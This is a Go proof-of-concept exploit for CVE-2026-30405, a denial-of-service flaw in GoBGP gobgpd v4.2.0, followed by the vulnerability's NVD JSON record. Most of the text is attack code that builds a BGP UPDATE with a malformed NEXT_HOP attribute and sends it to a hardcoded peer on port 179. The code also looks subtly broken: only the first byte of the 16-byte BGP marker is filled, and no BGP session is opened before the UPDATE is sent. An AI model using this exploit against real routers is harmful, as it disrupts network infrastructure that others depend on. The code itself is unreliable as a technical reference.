CVE-2026-30405

// CVE-2026-30405 PoC - Malicious BGP UPDATE with malformed NEXT_HOP // This PoC demonstrates sending a crafted BGP UPDATE message with invalid NEXT_HOP attribute // to trigger DoS in GoBGP gobgpd v4.2.0 package main import ( "encoding/binary" "fmt" "net" ) func buildBGPHeader(msgType byte, length uint16) []byte { header := make([]byte, 19) header[0] = 0xFF // Marker binary.BigEndian.PutUint16(header[16:18], length) header[18] = msgType return header } func buildMalformedNextHopAttr() []byte { // Malformed NEXT_HOP attribute with invalid length or address attr := []byte{ 0x40, 0x03, // Attribute flags and type (NEXT_HOP) 0x08, // Incorrect length: 8 bytes (should be 4 for IPv4) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Invalid IPv6-like address } return attr } func buildMalformedBGPUpdate() []byte { withdrawnLen := uint16(0) attr := buildMalformedNextHopAttr() nlri := []byte{} // Empty NLRI totalLen := 19 + 2 + withdrawnLen + 2 + uint16(len(attr)) + uint16(len(nlri)) msg := buildBGPHeader(0x02, totalLen) msg = append(msg, binary.BigEndian.AppendUint16(nil, withdrawnLen)...) msg = append(msg, binary.BigEndian.AppendUint16(nil, uint16(len(attr)))...) msg = append(msg, attr...) msg = append(msg, nlri...) return msg } func main() { target := "192.168.1.100:179" conn, err := net.Dial("tcp", target) if err != nil { fmt.Printf("Connection failed: %v\n", err) return } defer conn.Close() // Send malformed BGP UPDATE malformedUpdate := buildMalformedBGPUpdate() _, err = conn.Write(malformedUpdate) if err != nil { fmt.Printf("Send failed: %v\n", err) return } fmt.Println("Malformed BGP UPDATE sent to trigger CVE-2026-30405") }

{"cve": {"id": "CVE-2026-30405", "sourceIdentifier": "[email protected]", "published": "2026-03-16T17:16:29.790", "lastModified": "2026-04-07T01:04:23.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in GoBGP gobgpd v.4.2.0 allows a remote attacker to cause a denial of service via the NEXT_HOP path attribute"}, {"lang": "es", "value": "Un problema en GoBGP gobgpd v.4.2.0 permite a un atacante remoto causar una denegación de servicio a través del atributo de ruta NEXT_HOP."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "EA49849E-8D31-4BF0-B76D-CA8C4329D378"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/issues/3305", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}